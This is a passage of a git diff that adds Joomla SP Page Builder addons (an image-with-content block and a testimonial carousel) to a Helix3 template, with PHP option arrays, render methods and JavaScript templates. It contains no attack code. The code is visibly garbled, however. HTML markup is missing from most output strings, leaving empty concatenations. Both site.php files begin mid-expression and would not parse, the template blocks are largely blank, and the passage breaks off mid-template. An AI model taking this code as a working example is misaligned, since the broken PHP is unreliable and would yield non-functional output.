+ 'title'=>JText::_('COM_SPPAGEBUILDER_ADDON_IMAGE_CONTENT_TITLE'),
+ 'desc'=>JText::_('COM_SPPAGEBUILDER_ADDON_IMAGE_CONTENT_TITLE_DESC'),
+ ),
+
+ 'heading_selector'=>array(
+ 'type'=>'select',
+ 'title'=>JText::_('COM_SPPAGEBUILDER_ADDON_HEADINGS'),
+ 'desc'=>JText::_('COM_SPPAGEBUILDER_ADDON_HEADINGS_DESC'),
+ 'values'=>array(
+ 'h1'=>JText::_('COM_SPPAGEBUILDER_ADDON_HEADINGS_H1'),
+ 'h2'=>JText::_('COM_SPPAGEBUILDER_ADDON_HEADINGS_H2'),
+ 'h3'=>JText::_('COM_SPPAGEBUILDER_ADDON_HEADINGS_H3'),
+ 'h4'=>JText::_('COM_SPPAGEBUILDER_ADDON_HEADINGS_H4'),
+ 'h5'=>JText::_('COM_SPPAGEBUILDER_ADDON_HEADINGS_H5'),
+ 'h6'=>JText::_('COM_SPPAGEBUILDER_ADDON_HEADINGS_H6'),
+ ),
+ 'std'=>'h3',
+ 'depends'=>array(array('title', '!=', '')),
+ ),
+
+ 'title_fontsize'=>array(
+ 'type'=>'number',
+ 'title'=>JText::_('COM_SPPAGEBUILDER_ADDON_TITLE_FONT_SIZE'),
+ 'desc'=>JText::_('COM_SPPAGEBUILDER_ADDON_TITLE_FONT_SIZE_DESC'),
+ 'std'=>'',
+ 'depends'=>array(array('title', '!=', '')),
+ ),
+
+ 'title_lineheight'=>array(
+ 'type'=>'text',
+ 'title'=>JText::_('COM_SPPAGEBUILDER_ADDON_TITLE_LINE_HEIGHT'),
+ 'std'=>'',
+ 'depends'=>array(array('title', '!=', '')),
+ ),
+
+ 'title_fontstyle'=>array(
+ 'type'=>'select',
+ 'title'=> JText::_('COM_SPPAGEBUILDER_ADDON_TITLE_FONT_STYLE'),
+ 'values'=>array(
+ 'underline'=> JText::_('COM_SPPAGEBUILDER_GLOBAL_FONT_STYLE_UNDERLINE'),
+ 'uppercase'=> JText::_('COM_SPPAGEBUILDER_GLOBAL_FONT_STYLE_UPPERCASE'),
+ 'italic'=> JText::_('COM_SPPAGEBUILDER_GLOBAL_FONT_STYLE_ITALIC'),
+ 'lighter'=> JText::_('COM_SPPAGEBUILDER_GLOBAL_FONT_STYLE_LIGHTER'),
+ 'normal'=> JText::_('COM_SPPAGEBUILDER_GLOBAL_FONT_STYLE_NORMAL'),
+ 'bold'=> JText::_('COM_SPPAGEBUILDER_GLOBAL_FONT_STYLE_BOLD'),
+ 'bolder'=> JText::_('COM_SPPAGEBUILDER_GLOBAL_FONT_STYLE_BOLDER'),
+ ),
+ 'multiple'=>true,
+ 'std'=>'',
+ 'depends'=>array(array('title', '!=', '')),
+ ),
+
+ 'title_letterspace'=>array(
+ 'type'=>'select',
+ 'title'=>JText::_('COM_SPPAGEBUILDER_GLOBAL_LETTER_SPACING'),
+ 'values'=>array(
+ '0'=> 'Default',
+ '1px'=> '1px',
+ '2px'=> '2px',
+ '3px'=> '3px',
+ '4px'=> '4px',
+ '5px'=> '5px',
+ '6px'=> '6px',
+ '7px'=> '7px',
+ '8px'=> '8px',
+ '9px'=> '9px',
+ '10px'=> '10px'
+ ),
+ 'std'=>'0',
+ 'depends'=>array(array('title', '!=', '')),
+ ),
+
+ 'title_fontweight'=>array(
+ 'type'=>'text',
+ 'title'=>JText::_('COM_SPPAGEBUILDER_ADDON_TITLE_FONT_WEIGHT'),
+ 'desc'=>JText::_('COM_SPPAGEBUILDER_ADDON_TITLE_FONT_WEIGHT_DESC'),
+ 'std'=>'',
+ 'depends'=>array(array('title', '!=', '')),
+ ),
+
+ 'title_text_color'=>array(
+ 'type'=>'color',
+ 'title'=>JText::_('COM_SPPAGEBUILDER_ADDON_TITLE_TEXT_COLOR'),
+ 'desc'=>JText::_('COM_SPPAGEBUILDER_ADDON_TITLE_TEXT_COLOR_DESC'),
+ 'depends'=>array(array('title', '!=', '')),
+ ),
+
+ 'title_margin_top'=>array(
+ 'type'=>'number',
+ 'title'=>JText::_('COM_SPPAGEBUILDER_ADDON_TITLE_MARGIN_TOP'),
+ 'desc'=>JText::_('COM_SPPAGEBUILDER_ADDON_TITLE_MARGIN_TOP_DESC'),
+ 'placeholder'=>'10',
+ 'depends'=>array(array('title', '!=', '')),
+ ),
+
+ 'title_margin_bottom'=>array(
+ 'type'=>'number',
+ 'title'=>JText::_('COM_SPPAGEBUILDER_ADDON_TITLE_MARGIN_BOTTOM'),
+ 'desc'=>JText::_('COM_SPPAGEBUILDER_ADDON_TITLE_MARGIN_BOTTOM_DESC'),
+ 'placeholder'=>'10',
+ 'depends'=>array(array('title', '!=', '')),
+ ),
+
+ 'text'=>array(
+ 'type'=>'editor',
+ 'title'=>JText::_('COM_SPPAGEBUILDER_ADDON_IMAGE_CONTENT_CONTENT'),
+ 'desc'=>JText::_('COM_SPPAGEBUILDER_ADDON_IMAGE_CONTENT_CONTENT_DESC'),
+ ),
+
+ //Button
+ 'button_text'=>array(
+ 'type'=>'text',
+ 'title'=>JText::_('COM_SPPAGEBUILDER_GLOBAL_BUTTON_TEXT'),
+ 'desc'=>JText::_('COM_SPPAGEBUILDER_GLOBAL_BUTTON_TEXT_DESC'),
+ 'std'=>'Button Text',
+ ),
+
+ 'button_fontstyle'=>array(
+ 'type'=>'select',
+ 'title'=> JText::_('COM_SPPAGEBUILDER_GLOBAL_BUTTON_FONT_STYLE'),
+ 'values'=>array(
+ 'underline'=> JText::_('COM_SPPAGEBUILDER_GLOBAL_FONT_STYLE_UNDERLINE'),
+ 'uppercase'=> JText::_('COM_SPPAGEBUILDER_GLOBAL_FONT_STYLE_UPPERCASE'),
+ 'italic'=> JText::_('COM_SPPAGEBUILDER_GLOBAL_FONT_STYLE_ITALIC'),
+ 'lighter'=> JText::_('COM_SPPAGEBUILDER_GLOBAL_FONT_STYLE_LIGHTER'),
+ 'normal'=> JText::_('COM_SPPAGEBUILDER_GLOBAL_FONT_STYLE_NORMAL'),
+ 'bold'=> JText::_('COM_SPPAGEBUILDER_GLOBAL_FONT_STYLE_BOLD'),
+ 'bolder'=> JText::_('COM_SPPAGEBUILDER_GLOBAL_FONT_STYLE_BOLDER'),
+ ),
+ 'multiple'=>true,
+ 'std'=>'',
+ 'depends'=> array(
+ array('button_text', '!=', ''),
+ )
+ ),
+
+ 'button_letterspace'=>array(
+ 'type'=>'select',
+ 'title'=>JText::_('COM_SPPAGEBUILDER_GLOBAL_BUTTON_LETTER_SPACING'),
+ 'values'=>array(
+ '0'=> 'Default',
+ '1px'=> '1px',
+ '2px'=> '2px',
+ '3px'=> '3px',
+ '4px'=> '4px',
+ '5px'=> '5px',
+ '6px'=> '6px',
+ '7px'=> '7px',
+ '8px'=> '8px',
+ '9px'=> '9px',
+ '10px'=> '10px'
+ ),
+ 'std'=>'0',
+ 'depends'=> array(
+ array('button_text', '!=', ''),
+ )
+ ),
+
+ 'button_url'=>array(
+ 'type'=>'media',
+ 'format'=>'attachment',
+ 'title'=>JText::_('COM_SPPAGEBUILDER_GLOBAL_BUTTON_URL'),
+ 'desc'=>JText::_('COM_SPPAGEBUILDER_GLOBAL_BUTTON_URL_DESC'),
+ 'placeholder'=>'http://',
+ 'depends'=> array(
+ array('button_text', '!=', ''),
+ ),
+ ),
+
+ 'button_target'=>array(
+ 'type'=>'select',
+ 'title'=>JText::_('COM_SPPAGEBUILDER_GLOBAL_LINK_NEWTAB'),
+ 'desc'=>JText::_('COM_SPPAGEBUILDER_GLOBAL_LINK_NEWTAB_DESC'),
+ 'values'=>array(
+ ''=>JText::_('COM_SPPAGEBUILDER_ADDON_GLOBAL_TARGET_SAME_WINDOW'),
+ '_blank'=>JText::_('COM_SPPAGEBUILDER_ADDON_GLOBAL_TARGET_NEW_WINDOW'),
+ ),
+ 'depends'=> array(
+ array('button_text', '!=', ''),
+ )
+ ),
+
+ 'button_type'=>array(
+ 'type'=>'select',
+ 'title'=>JText::_('COM_SPPAGEBUILDER_GLOBAL_BUTTON_STYLE'),
+ 'desc'=>JText::_('COM_SPPAGEBUILDER_GLOBAL_BUTTON_STYLE_DESC'),
+ 'values'=>array(
+ 'default'=>JText::_('COM_SPPAGEBUILDER_GLOBAL_DEFAULT'),
+ 'primary'=>JText::_('COM_SPPAGEBUILDER_GLOBAL_PRIMARY'),
+ 'success'=>JText::_('COM_SPPAGEBUILDER_GLOBAL_SUCCESS'),
+ 'info'=>JText::_('COM_SPPAGEBUILDER_GLOBAL_INFO'),
+ 'warning'=>JText::_('COM_SPPAGEBUILDER_GLOBAL_WARNING'),
+ 'danger'=>JText::_('COM_SPPAGEBUILDER_GLOBAL_DANGER'),
+ 'link'=>JText::_('COM_SPPAGEBUILDER_GLOBAL_LINK'),
+ 'custom'=>JText::_('COM_SPPAGEBUILDER_GLOBAL_CUSTOM'),
+ ),
+ 'std'=>'default',
+ 'depends'=> array(
+ array('button_text', '!=', ''),
+ )
+ ),
+
+ 'button_appearance'=>array(
+ 'type'=>'select',
+ 'title'=>JText::_('COM_SPPAGEBUILDER_GLOBAL_BUTTON_APPEARANCE'),
+ 'desc'=>JText::_('COM_SPPAGEBUILDER_GLOBAL_BUTTON_APPEARANCE_DESC'),
+ 'values'=>array(
+ ''=>JText::_('COM_SPPAGEBUILDER_GLOBAL_BUTTON_APPEARANCE_FLAT'),
+ 'outline'=>JText::_('COM_SPPAGEBUILDER_GLOBAL_BUTTON_APPEARANCE_OUTLINE'),
+ '3d'=>JText::_('COM_SPPAGEBUILDER_GLOBAL_BUTTON_APPEARANCE_3D'),
+ ),
+ 'std'=>'flat',
+ 'depends'=> array(
+ array('button_text', '!=', ''),
+ )
+ ),
+
+ 'button_background_color'=>array(
+ 'type'=>'color',
+ 'title'=>JText::_('COM_SPPAGEBUILDER_GLOBAL_BUTTON_BACKGROUND_COLOR'),
+ 'desc'=>JText::_('COM_SPPAGEBUILDER_GLOBAL_BUTTON_BACKGROUND_COLOR_DESC'),
+ 'std' => '#444444',
+ 'depends'=> array(
+ array('button_type', '=', 'custom'),
+ array('button_text', '!=', ''),
+ )
+ ),
+
+ 'button_color'=>array(
+ 'type'=>'color',
+ 'title'=>JText::_('COM_SPPAGEBUILDER_GLOBAL_BUTTON_COLOR'),
+ 'desc'=>JText::_('COM_SPPAGEBUILDER_GLOBAL_BUTTON_COLOR_DESC'),
+ 'std' => '#fff',
+ 'depends'=> array(
+ array('button_type', '=', 'custom'),
+ array('button_text', '!=', ''),
+ )
+ ),
+
+ 'button_background_color_hover'=>array(
+ 'type'=>'color',
+ 'title'=>JText::_('COM_SPPAGEBUILDER_GLOBAL_BUTTON_BACKGROUND_COLOR_HOVER'),
+ 'desc'=>JText::_('COM_SPPAGEBUILDER_GLOBAL_BUTTON_BACKGROUND_COLOR_HOVER_DESC'),
+ 'std' => '#222',
+ 'depends'=> array(
+ array('button_type', '=', 'custom'),
+ array('button_text', '!=', ''),
+ )
+ ),
+
+ 'button_color_hover'=>array(
+ 'type'=>'color',
+ 'title'=>JText::_('COM_SPPAGEBUILDER_GLOBAL_BUTTON_COLOR_HOVER'),
+ 'desc'=>JText::_('COM_SPPAGEBUILDER_GLOBAL_BUTTON_COLOR_HOVER_DESC'),
+ 'std' => '#fff',
+ 'depends'=> array(
+ array('button_type', '=', 'custom'),
+ array('button_text', '!=', ''),
+ )
+ ),
+
+ 'button_size'=>array(
+ 'type'=>'select',
+ 'title'=>JText::_('COM_SPPAGEBUILDER_GLOBAL_BUTTON_SIZE'),
+ 'desc'=>JText::_('COM_SPPAGEBUILDER_GLOBAL_BUTTON_SIZE_DESC'),
+ 'values'=>array(
+ ''=>JText::_('COM_SPPAGEBUILDER_GLOBAL_BUTTON_SIZE_DEFAULT'),
+ 'lg'=>JText::_('COM_SPPAGEBUILDER_GLOBAL_BUTTON_SIZE_LARGE'),
+ 'xlg'=>JText::_('COM_SPPAGEBUILDER_GLOBAL_BUTTON_SIZE_XLARGE'),
+ 'sm'=>JText::_('COM_SPPAGEBUILDER_GLOBAL_BUTTON_SIZE_SMALL'),
+ 'xs'=>JText::_('COM_SPPAGEBUILDER_GLOBAL_BUTTON_SIZE_EXTRA_SAMLL'),
+ ),
+ 'depends'=> array(
+ array('button_text', '!=', ''),
+ )
+ ),
+
+ 'button_shape'=>array(
+ 'type'=>'select',
+ 'title'=>JText::_('COM_SPPAGEBUILDER_GLOBAL_BUTTON_SHAPE'),
+ 'desc'=>JText::_('COM_SPPAGEBUILDER_GLOBAL_BUTTON_SHAPE_DESC'),
+ 'values'=>array(
+ 'rounded'=>JText::_('COM_SPPAGEBUILDER_GLOBAL_BUTTON_SHAPE_ROUNDED'),
+ 'square'=>JText::_('COM_SPPAGEBUILDER_GLOBAL_BUTTON_SHAPE_SQUARE'),
+ 'round'=>JText::_('COM_SPPAGEBUILDER_GLOBAL_BUTTON_SHAPE_ROUND'),
+ ),
+ 'depends'=> array(
+ array('button_text', '!=', ''),
+ )
+ ),
+
+ 'button_block'=>array(
+ 'type'=>'select',
+ 'title'=>JText::_('COM_SPPAGEBUILDER_GLOBAL_BUTTON_BLOCK'),
+ 'desc'=>JText::_('COM_SPPAGEBUILDER_GLOBAL_BUTTON_BLOCK_DESC'),
+ 'values'=>array(
+ ''=>JText::_('JNO'),
+ 'sppb-btn-block'=>JText::_('JYES'),
+ ),
+ 'depends'=> array(
+ array('button_text', '!=', ''),
+ )
+ ),
+
+ 'button_icon'=>array(
+ 'type'=>'icon',
+ 'title'=>JText::_('COM_SPPAGEBUILDER_GLOBAL_BUTTON_ICON'),
+ 'desc'=>JText::_('COM_SPPAGEBUILDER_GLOBAL_BUTTON_ICON_DESC'),
+ 'depends'=> array(
+ array('button_text', '!=', ''),
+ )
+ ),
+
+ 'button_icon_position'=>array(
+ 'type'=>'select',
+ 'title'=>JText::_('COM_SPPAGEBUILDER_GLOBAL_BUTTON_ICON_POSITION'),
+ 'values'=>array(
+ 'left'=>JText::_('COM_SPPAGEBUILDER_GLOBAL_LEFT'),
+ 'right'=>JText::_('COM_SPPAGEBUILDER_GLOBAL_RIGHT'),
+ ),
+ 'depends'=> array(
+ array('button_text', '!=', ''),
+ ),
+ ),
+
+ 'class'=>array(
+ 'type'=>'text',
+ 'title'=>JText::_('COM_SPPAGEBUILDER_ADDON_CLASS'),
+ 'desc'=>JText::_('COM_SPPAGEBUILDER_ADDON_CLASS_DESC'),
+ 'std'=>''
+ ),
+
+ ),
+ ),
+ )
+);
diff --git a/deployed/helix3/templates/shaper_helix3/sppagebuilder/addons/image_content/icon.png b/deployed/helix3/templates/shaper_helix3/sppagebuilder/addons/image_content/icon.png
new file mode 100644
index 00000000..ada79d81
Binary files /dev/null and b/deployed/helix3/templates/shaper_helix3/sppagebuilder/addons/image_content/icon.png differ
diff --git a/deployed/helix3/templates/shaper_helix3/sppagebuilder/addons/image_content/site.php b/deployed/helix3/templates/shaper_helix3/sppagebuilder/addons/image_content/site.php
new file mode 100644
index 00000000..ca66df1b
--- /dev/null
+++ b/deployed/helix3/templates/shaper_helix3/sppagebuilder/addons/image_content/site.php
@@ -0,0 +1,267 @@
+addon->settings->class) && $this->addon->settings->class) ? $this->addon->settings->class : '';
+ $title = (isset($this->addon->settings->title) && $this->addon->settings->title) ? $this->addon->settings->title : '';
+ $heading_selector = (isset($this->addon->settings->heading_selector) && $this->addon->settings->heading_selector) ? $this->addon->settings->heading_selector : 'h3';
+
+ //Options
+ $image = (isset($this->addon->settings->image) && $this->addon->settings->image) ? $this->addon->settings->image : '';
+ $image_width = (isset($this->addon->settings->image_width) && $this->addon->settings->image_width) ? $this->addon->settings->image_width : '';
+ $image_alignment = (isset($this->addon->settings->image_alignment) && $this->addon->settings->image_alignment) ? $this->addon->settings->image_alignment : '';
+ $text = (isset($this->addon->settings->text) && $this->addon->settings->text) ? $this->addon->settings->text : '';
+ $button_text = (isset($this->addon->settings->button_text) && $this->addon->settings->button_text) ? $this->addon->settings->button_text : '';
+ $button_url = (isset($this->addon->settings->button_url) && $this->addon->settings->button_url) ? $this->addon->settings->button_url : '';
+ $button_classes = (isset($this->addon->settings->button_size) && $this->addon->settings->button_size) ? ' sppb-btn-' . $this->addon->settings->button_size : '';
+ $button_classes .= (isset($this->addon->settings->button_type) && $this->addon->settings->button_type) ? ' sppb-btn-' . $this->addon->settings->button_type : '';
+ $button_classes .= (isset($this->addon->settings->button_shape) && $this->addon->settings->button_shape) ? ' sppb-btn-' . $this->addon->settings->button_shape: ' sppb-btn-rounded';
+ $button_classes .= (isset($this->addon->settings->button_appearance) && $this->addon->settings->button_appearance) ? ' sppb-btn-' . $this->addon->settings->button_appearance : '';
+ $button_classes .= (isset($this->addon->settings->button_block) && $this->addon->settings->button_block) ? ' ' . $this->addon->settings->button_block : '';
+ $button_icon = (isset($this->addon->settings->button_icon) && $this->addon->settings->button_icon) ? $this->addon->settings->button_icon : '';
+ $button_icon_position = (isset($this->addon->settings->button_icon_position) && $this->addon->settings->button_icon_position) ? $this->addon->settings->button_icon_position: 'left';
+ $button_position = (isset($this->addon->settings->button_position) && $this->addon->settings->button_position) ? $this->addon->settings->button_position : '';
+ $button_attribs = (isset($this->addon->settings->button_target) && $this->addon->settings->button_target) ? ' target="' . $this->addon->settings->button_target . '"' : '';
+ $button_attribs .= (isset($this->addon->settings->button_url) && $this->addon->settings->button_url) ? ' href="' . $this->addon->settings->button_url . '"' : '';
+
+ if($button_icon_position == 'left') {
+ $button_text = ($button_icon) ? ' ' . $button_text : $button_text;
+ } else {
+ $button_text = ($button_icon) ? $button_text . ' ' : $button_text;
+ }
+ $button_output = '';
+ if ($button_text) {
+ $button_output = '' . $button_text . ' ';
+ }
+
+ if($image_alignment=='left') {
+ $content_class = ' sppb-col-sm-offset-6';
+ } else {
+ $content_class = '';
+ }
+
+ if($image && $text) {
+
+ $output = '';
+
+ //Image
+ $output .= '
';
+ $output .= '
';
+
+ //Content
+ $output .= '
';
+ $output .= '
';
+
+ $output .= '
';
+ $output .= '
';
+ $output .= ($title) ? '<'.$heading_selector.' class="sppb-image-content-title">' . $title . ''.$heading_selector.'>' : '';
+ $output .= ($text) ? '
' . $text . '
' : '';
+
+ $output .= $button_output;
+
+ $output .= '
';
+ $output .= '
';
+ $output .= '
';
+ $output .= '
';
+
+ $output .= '
';
+
+ return $output;
+ }
+
+ return;
+ }
+
+ public function css() {
+ $addon_id = '#sppb-addon-' . $this->addon->id;
+ $layout_path = JPATH_ROOT . '/components/com_sppagebuilder/layouts';
+ $css_path = new JLayoutFile('addon.css.button', $layout_path);
+ return $css_path->render(array('addon_id' => $addon_id, 'options' => $this->addon->settings, 'id' => 'btn-' . $this->addon->id));
+ }
+
+ public static function getTemplate() {
+ $output = '
+ <#
+ var content_class = "";
+ if(data.image_alignment == "left") {
+ content_class = " sppb-col-sm-offset-6";
+ }
+
+ var button_text = data.button_text;
+ if(data.button_icon_position == "left" && data.button_icon) {
+ button_text = \' \' + data.button_text;
+ } else if(data.button_icon){
+ button_text = data.button_text + \' \';
+ }
+
+ var button_classes = "";
+
+ if(data.button_size){
+ button_classes = button_classes + " sppb-btn-" + data.button_size;
+ }
+
+ if(data.button_type){
+ button_classes = button_classes + " sppb-btn-" + data.button_type;
+ }
+
+ if(data.button_shape){
+ button_classes = button_classes + " sppb-btn-" + data.button_shape;
+ } else {
+ button_classes = button_classes + " sppb-btn-rounded";
+ }
+
+ if(data.button_appearance){
+ button_classes = button_classes + " sppb-btn-" + data.button_appearance;
+ }
+
+ if(data.button_block){
+ button_classes = button_classes + " " + data.button_block;
+ }
+
+ var button_fontstyle = data.button_fontstyle || "";
+
+ var padding = "";
+ var padding_sm = "";
+ var padding_xs = "";
+ if(data.content_padding){
+ if(_.isObject(data.content_padding)){
+ if(data.content_padding.md.trim() !== ""){
+ padding = data.content_padding.md.split(" ").map(item => {
+ if(_.isEmpty(item)){
+ return "0";
+ }
+ return item;
+ }).join(" ")
+ }
+
+ if(data.content_padding.sm.trim() !== ""){
+ padding_sm = data.content_padding.sm.split(" ").map(item => {
+ if(_.isEmpty(item)){
+ return "0";
+ }
+ return item;
+ }).join(" ")
+ }
+
+ if(data.content_padding.xs.trim() !== ""){
+ padding_xs = data.content_padding.xs.split(" ").map(item => {
+ if(_.isEmpty(item)){
+ return "0";
+ }
+ return item;
+ }).join(" ")
+ }
+ }
+
+ }
+ #>
+
+
+
+
+
+ <# if(data.image_alignment == "left") { #>
+
+ <# } #>
+
+
+ <# if( !_.isEmpty( data.title ) ){ #><{{ data.heading_selector }} class="sppb-image-content-title sppb-addon-title">{{ data.title }}{{ data.heading_selector }}><# } #>
+ <# if(data.text){ #>
{{{ data.text }}}
<# } #>
+ <# if(button_text){ #>
{{{ button_text }}} <# } #>
+
+
+
+
+
+ ';
+
+ return $output;
+ }
+
+}
diff --git a/deployed/helix3/templates/shaper_helix3/sppagebuilder/addons/testimonialpro/admin.php b/deployed/helix3/templates/shaper_helix3/sppagebuilder/addons/testimonialpro/admin.php
new file mode 100644
index 00000000..f7f69f63
--- /dev/null
+++ b/deployed/helix3/templates/shaper_helix3/sppagebuilder/addons/testimonialpro/admin.php
@@ -0,0 +1,141 @@
+'repeatable',
+ 'addon_name'=>'sp_testimonialpro',
+ 'title'=>JText::_('COM_SPPAGEBUILDER_ADDON_TESTIMONIAL_PRO'),
+ 'desc'=>JText::_('COM_SPPAGEBUILDER_ADDON_TESTIMONIAL_PRO_DESC'),
+ 'category'=>'Slider',
+ 'attr'=>array(
+ 'general' => array(
+
+ 'admin_label'=>array(
+ 'type'=>'text',
+ 'title'=>JText::_('COM_SPPAGEBUILDER_ADDON_ADMIN_LABEL'),
+ 'desc'=>JText::_('COM_SPPAGEBUILDER_ADDON_ADMIN_LABEL_DESC'),
+ 'std'=> ''
+ ),
+
+ 'autoplay'=>array(
+ 'type'=>'checkbox',
+ 'title'=>JText::_('COM_SPPAGEBUILDER_ADDON_TESTIMONIAL_PRO_AUTOPLAY'),
+ 'desc'=>JText::_('COM_SPPAGEBUILDER_ADDON_TESTIMONIAL_PRO_AUTOPLAY_DESC'),
+ 'values'=>array(
+ 1=>JText::_('JYES'),
+ 0=>JText::_('JNO'),
+ ),
+ 'std'=>1,
+ ),
+
+ 'interval'=>array(
+ 'type'=>'number',
+ 'title'=>JText::_('COM_SPPAGEBUILDER_ADDON_TESTIMONIAL_PRO_INTERVAL'),
+ 'desc'=>JText::_('COM_SPPAGEBUILDER_ADDON_TESTIMONIAL_PRO_INTERVAL_DESC'),
+ 'std'=> 5,
+ 'depends'=> array(
+ array('autoplay', '=', 1),
+ )
+ ),
+
+ 'speed'=>array(
+ 'type'=>'number',
+ 'title'=>JText::_('COM_SPPAGEBUILDER_ADDON_TESTIMONIAL_PRO_SPEED'),
+ 'desc'=>JText::_('COM_SPPAGEBUILDER_ADDON_TESTIMONIAL_PRO_SPEED_DESC'),
+ 'std'=> 600,
+ ),
+
+ 'controls'=>array(
+ 'type'=>'checkbox',
+ 'title'=>JText::_('COM_SPPAGEBUILDER_ADDON_CAROUSEL_SHOW_CONTROLLERS'),
+ 'desc'=>JText::_('COM_SPPAGEBUILDER_ADDON_CAROUSEL_SHOW_CONTROLLERS_DESC'),
+ 'values'=>array(
+ 1=>JText::_('JYES'),
+ 0=>JText::_('JNO'),
+ ),
+ 'std'=>1,
+ ),
+
+ 'avatar_width'=>array(
+ 'type'=>'slider',
+ 'title'=>JText::_('COM_SPPAGEBUILDER_ADDON_TESTIMONIAL_CLIENT_AVATAR_WIDTH'),
+ 'desc'=>JText::_('COM_SPPAGEBUILDER_ADDON_TESTIMONIAL_CLIENT_AVATAR_WIDTH_DESC'),
+ 'std'=>32,
+ 'min'=>16,
+ 'max'=>128
+ ),
+
+ 'avatar_shape'=>array(
+ 'type'=>'select',
+ 'title'=>JText::_('COM_SPPAGEBUILDER_ADDON_TESTIMONIAL_CLIENT_AVATAR_SHAPE'),
+ 'values' =>array(
+ 'sppb-avatar-sqaure'=>JText::_('COM_SPPAGEBUILDER_GLOBAL_SQUARE'),
+ 'sppb-avatar-round'=>JText::_('COM_SPPAGEBUILDER_GLOBAL_ROUNDED'),
+ 'sppb-avatar-circle'=>JText::_('COM_SPPAGEBUILDER_GLOBAL_CIRCLE'),
+ ),
+ 'std' => 'sppb-avatar-circle'
+ ),
+
+ 'arrows'=>array(
+ 'type'=>'checkbox',
+ 'title'=>JText::_('COM_SPPAGEBUILDER_ADDON_TESTIMONIAL_PRO_SHOW_ARROWS'),
+ 'desc'=>JText::_('COM_SPPAGEBUILDER_ADDON_TESTIMONIAL_PRO_SHOW_ARROWS_DESC'),
+ 'values'=>array(
+ 1=>JText::_('JYES'),
+ 0=>JText::_('JNO'),
+ ),
+ 'std'=>1,
+ ),
+
+ 'class'=>array(
+ 'type'=>'text',
+ 'title'=>JText::_('COM_SPPAGEBUILDER_ADDON_CLASS'),
+ 'desc'=>JText::_('COM_SPPAGEBUILDER_ADDON_CLASS_DESC'),
+ 'std'=> ''
+ ),
+
+ // Repeatable Items
+ 'sp_testimonialpro_item'=>array(
+ 'title'=>JText::_('Testimonials'),
+
+ 'attr'=>array(
+ 'title'=>array(
+ 'type'=>'text',
+ 'title'=>JText::_('COM_SPPAGEBUILDER_ADDON_TESTIMONIAL_PRO_ITEM_TITLE'),
+ 'desc'=>JText::_('COM_SPPAGEBUILDER_ADDON_TESTIMONIAL_PRO_ITEM_TITLE_DESC'),
+ 'std'=>'John Doe',
+ ),
+
+ 'avatar'=>array(
+ 'type'=>'media',
+ 'title'=>JText::_('COM_SPPAGEBUILDER_ADDON_TESTIMONIAL_PRO_CLIENT_IMAGE'),
+ 'desc'=>JText::_('COM_SPPAGEBUILDER_ADDON_TESTIMONIAL_PRO_CLIENT_IMAGE_DESC'),
+ ),
+
+ 'message'=>array(
+ 'type'=>'editor',
+ 'title'=>JText::_('COM_SPPAGEBUILDER_ADDON_TESTIMONIAL_PRO_ITEM_TEXT'),
+ 'desc'=>JText::_('COM_SPPAGEBUILDER_ADDON_TESTIMONIAL_PRO_ITEM_TEXT_DESC'),
+ 'std'=> 'Anim pariatur cliche reprehenderit, enim eiusmod high life accusamus terry richardson ad squid. 3 wolf moon officia aute, non cupidatat skateboard dolor brunch. Food truck quinoa nesciunt laborum eiusmod. Brunch 3 wolf moon tempor, sunt aliqua put a bird on it squid single-origin coffee nulla assumenda shoreditch et.'
+ ),
+
+ 'url'=>array(
+ 'type'=>'text',
+ 'title'=>JText::_('COM_SPPAGEBUILDER_ADDON_TESTIMONIAL_PRO_CLIENT_URL'),
+ 'desc'=>JText::_('COM_SPPAGEBUILDER_ADDON_TESTIMONIAL_PRO_CLIENT_URL_DESC'),
+ ),
+
+ ),
+ ),
+ ),
+ ),
+ )
+);
diff --git a/deployed/helix3/templates/shaper_helix3/sppagebuilder/addons/testimonialpro/icon.png b/deployed/helix3/templates/shaper_helix3/sppagebuilder/addons/testimonialpro/icon.png
new file mode 100644
index 00000000..cf2c9945
Binary files /dev/null and b/deployed/helix3/templates/shaper_helix3/sppagebuilder/addons/testimonialpro/icon.png differ
diff --git a/deployed/helix3/templates/shaper_helix3/sppagebuilder/addons/testimonialpro/site.php b/deployed/helix3/templates/shaper_helix3/sppagebuilder/addons/testimonialpro/site.php
new file mode 100644
index 00000000..f323e726
--- /dev/null
+++ b/deployed/helix3/templates/shaper_helix3/sppagebuilder/addons/testimonialpro/site.php
@@ -0,0 +1,149 @@
+addon->settings->class) && $this->addon->settings->class) ? $this->addon->settings->class : '';
+ $style = (isset($this->addon->settings->style) && $this->addon->settings->style) ? $this->addon->settings->style : '';
+
+ //Options
+ $autoplay = (isset($this->addon->settings->autoplay) && $this->addon->settings->autoplay) ? ' data-sppb-ride="sppb-carousel"' : '';
+ $arrows = (isset($this->addon->settings->arrows) && $this->addon->settings->arrows) ? $this->addon->settings->arrows : '';
+ $controls = '';
+ $interval = (isset($this->addon->settings->interval) && $this->addon->settings->interval) ? ((int) $this->addon->settings->interval * 1000) : 5000;
+ $avatar_size = (isset($this->addon->settings->avatar_size) && $this->addon->settings->avatar_size) ? $this->addon->settings->avatar_size : '';
+ $avatar_shape = (isset($this->addon->settings->avatar_shape) && $this->addon->settings->avatar_shape) ? $this->addon->settings->avatar_shape : 'sppb-avatar-circle';
+
+ //Output
+ $output = '';
+
+ if($controls) {
+ $output .= '
';
+ foreach ($this->addon->settings->sp_testimonialpro_item as $key1 => $value) {
+ $output .= ' ' . "\n";
+ }
+ $output .= ' ';
+ }
+
+ //$output .= '
';
+ $output .= '
';
+
+ foreach ($this->addon->settings->sp_testimonialpro_item as $key => $value) {
+ $output .= '
';
+ $name = (isset($value->title) && $value->title) ? $value->title : '';
+
+ $output .= (isset($value->avatar) && $value->avatar) ? '
' : '';
+ $output .= '
' . $value->message . '
';
+ $output .= '';
+
+ $output .= '
';
+ }
+ $output .= '
';
+
+ if($arrows) {
+ $output .= '
';
+ $output .= '
';
+ }
+
+ $output .= '
';
+
+ return $output;
+
+ }
+
+ public function css() {
+ $addon_id = '#sppb-addon-' . $this->addon->id;
+ $css = '';
+
+ $speed = (isset($this->addon->settings->speed) && $this->addon->settings->speed) ? $this->addon->settings->speed : 600;
+
+ $css .= $addon_id.' .sppb-carousel-inner > .sppb-item{-webkit-transition-duration: '.$speed.'ms; transition-duration: '.$speed.'ms;}';
+
+ return $css;
+ }
+
+ public static function getTemplate(){
+
+ $output = '
+ <#
+ let interval = (data.interval)? (data.interval*1000):5000
+ let autoplay = (data.autoplay)? \'data-sppb-ride="sppb-carousel"\':""
+ let avatar_size = data.avatar_width || 76
+ let avatar_shape = data.avatar_shape || "sppb-avatar-circle"
+
+ #>
+
+
+ <# if(data.controls) { #>
+
+ <#
